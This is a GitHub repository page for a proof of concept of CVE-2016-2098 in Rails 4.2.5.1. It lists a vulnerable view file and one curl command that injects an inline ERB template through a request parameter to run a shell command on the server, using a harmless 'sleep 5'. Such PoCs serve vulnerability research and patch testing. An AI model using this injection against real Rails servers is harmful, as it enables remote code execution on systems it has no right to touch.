Skip to content

CyberDefenseInstitute/PoC_CVE-2016-2098_Rails42

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

A PoC of CVE-2016-2098

  • rails 4.2.5.1
  • view has a vulnerable code
    app/views/poc/render1.html.erb
  • following command will cause remote code execution
    $ curl '<your_host>:3000/poc/render1?template\[inline\]=<%25%3d`sleep+5`%25>'